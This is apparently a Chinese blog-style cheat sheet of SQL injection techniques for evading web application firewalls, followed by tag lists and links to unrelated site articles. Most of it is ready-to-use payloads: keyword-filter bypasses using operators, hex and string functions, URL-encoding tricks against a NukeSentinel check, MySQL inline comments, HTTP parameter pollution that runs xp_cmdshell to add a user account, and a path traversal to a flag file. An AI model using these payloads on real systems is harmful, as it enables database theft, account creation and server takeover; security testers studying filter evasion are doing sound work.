一、 绕过waf思路

从第一步起,一点一点去分析,然后绕过。
1、过滤 and,or
preg_match('/(and|or)/i', $id)
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1
2、过滤 and, or, union
preg_match('/(and|or|union)/i', $id)
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'
3、过滤 and, or, union, where
preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'
4、过滤 and, or, union, where, limit
preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
5、过滤 and, or, union, where, limit, group by
preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
6、过滤 and, or, union, where, limit, group by, select
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'
7、过滤 and, or, union, where, limit, group by, select, ‘
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)
8、过滤 and, or, union, where, limit, group by, select, ‘, hex
preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
9、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
10、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
ypassed injection: 1%0b||%0blpad(user,7,1)
二、正则绕过
根据正则的的模糊匹配特性绕过,比如过滤了'='
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)
eg: filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122) Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a Bypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
三、通用绕过
1.注释符
?id=1+un//ion+se//lect+1,2,3–
2.大小写
?id=1+UnIoN//SeLecT//1,2,3–
3.关键字替换
有些waf等使用preg_replace替换了SQL关键字
?id=1+UNunionION+SEselectLECT+1,2,3-- ?id=1+uni%0bon+se%0blect+1,2,3--
有时候注释符'/**/‘可能被过滤,也可以使用%0b绕过
Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).html Bypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html
4.编码
一个经典的脚本:Nukesentinel.php
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
Forbidden: http://localhost/php/?/**/union/**/select Bypassed : http://localhost/php/?/%2A%2A/union/%2A%2A/select Bypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect
5.缓冲区溢出
http://localhost/news.php?id=1+and+(select 1)=(select 0xA*1000)+union+select+1,2,version(),database(),user(),6,7,8,9,10–
6.内联注释(mysql)
http://localhost/news.php?id=1/*!UnIoN*/SeLecT+1,2,3-- http://localhost/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
四、高级绕过
1.HPP(http参数污染)
举个例子:
index.php?par1=val1&par1=val2 | web server | par1 | | :— | :— | | ASP.NET/IIS | val1,val2 | | ASP/IIS | val1,val2 | | PHP/Apache | val2 | | JSP/Tomcat | val1 |
eg:
在ASP/ASP.NET的环境下
Forbidden: http://localhost/search.aspx?q=select name,password from users Bypassed : http://localhost/search.aspx?q=select name&q=password from users Bypassed : http://localhost/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users Bypassed : http://localhost/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user test test /*&id=1*/ --
2.HPC(http参数污染)
RFC2396定义了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:
| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP | | :— | :— | :— | | ?test[1=2 | test_1=2 | test[1=2 | | ?test=% | test=% | test= | | ?test%00=1 | test= | test=1 | | ?test=1%001 | NULL | test=1 | | ?test+d=1+2 | test_d=1 2 | test d=1 2 |
eg:
Forbidden: http://localhost/?xp_cmdshell Bypassed : http://localhost/?xp[cmdshell Forbidden: http://localhost/test.asp?file=../flag.txt Bypassed : http://localhost/test.asp?file=.%./flag.txt Forbidden: http://localhost/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables) Bypassed : http://localhost/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
总结
以上就是关于sql注入绕过的技巧总结,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对的支持。
# sql注入绕过
# sql注入绕过waf
# sql注入绕过过滤
# 防止xss和sql注入:JS特殊字符过滤正则
# 一个过滤重复数据的 SQL 语句
# MySQL注入绕开过滤的技巧总结
# SQL注入中绕过 单引号 限制继续注入
# SQL注入绕过的技巧总结
# 多列复合索引的使用 绕过微软sql server的一个缺陷
# SQL Server简单模式下误删除堆表记录恢复方法(绕过页眉校验)
# Mysql如何巧妙的绕过未知字段名详解
# SQL注入技巧之显注与盲注中过滤逗号绕过详析
# 可以使用
# 谢谢大家
# 举个例子
# 有疑问
# Injection
# x7a
# se
# lect
# ion
# tables
# blpad
# code
# lpad
# ypassed
# filtered
# table_name
# information_schema
# char
# localhost
# first_name
相关文章:
宁波免费建站如何选择可靠模板与平台?
建站OpenVZ教程与优化策略:配置指南与性能提升
购物网站制作费用多少,开办网上购物网站,需要办理哪些手续?
儿童网站界面设计图片,中国少年儿童教育网站-怎么去注册?
如何快速建站并高效导出源代码?
如何通过建站之星自助学习解决操作问题?
完全自定义免费建站平台:主题模板在线生成一站式服务
大连企业网站制作公司,大连2025企业社保缴费网上缴费流程?
Python多线程使用规范_线程安全解析【教程】
微课制作网站有哪些,微课网怎么进?
子杰智能建站系统|零代码开发与AI生成SEO优化指南
深圳 网站制作,深圳招聘网站哪个比较好一点啊?
如何快速搭建安全的FTP站点?
陕西网站制作公司有哪些,陕西凌云电器有限公司官网?
电商网站制作价格怎么算,网上拍卖流程以及规则?
制作表格网站有哪些,线上表格怎么弄?
建站之星如何防范黑客攻击与数据泄露?
广平建站公司哪家专业可靠?如何选择?
潮流网站制作头像软件下载,适合母子的网名有哪些?
如何高效利用亚马逊云主机搭建企业网站?
如何在阿里云通过域名搭建网站?
Swift中switch语句区间和元组模式匹配
官网自助建站平台指南:在线制作、快速建站与模板选择全解析
昆明高端网站制作公司,昆明公租房申请网上登录入口?
建站之星微信建站一键生成小程序+多端营销系统
智能起名网站制作软件有哪些,制作logo的软件?
小程序网站制作需要准备什么资料,如何制作小程序?
孙琪峥织梦建站教程如何优化数据库安全?
b2c电商网站制作流程,b2c水平综合的电商平台?
Swift中循环语句中的转移语句 break 和 continue
如何选择高效响应式自助建站源码系统?
建站之星手机一键生成:多端自适应+小程序开发快速建站指南
南平网站制作公司,2025年南平市事业单位报名时间?
建站之星后台密码遗忘如何找回?
建站org新手必看:2024最新搭建流程与模板选择技巧
英语简历制作免费网站推荐,如何将简历翻译成英文?
建站之星Pro快速搭建教程:模板选择与功能配置指南
如何在IIS中新建站点并解决端口绑定冲突?
专业制作网站的公司哪家好,建立一个公司网站的费用.有哪些部分,分别要多少钱?
建站主机系统SEO优化与智能配置核心关键词操作指南
网站制作价目表怎么做,珍爱网婚介费用多少?
交易网站制作流程,我想开通一个网站,注册一个交易网址,需要那些手续?
常州企业网站制作公司,全国继续教育网怎么登录?
建站之星如何保障用户数据免受黑客入侵?
建站之星如何助力企业快速打造五合一网站?
深圳网站制作设计招聘,关于服装设计的流行趋势,哪里的资料比较全面?
如何配置WinSCP新建站点的密钥验证步骤?
官网建站费用明细查询_企业建站套餐价格及收费标准指南
怎么将XML数据可视化 D3.js加载XML
如何彻底删除建站之星生成的Banner?
*请认真填写需求信息,我们会在24小时内与您取得联系。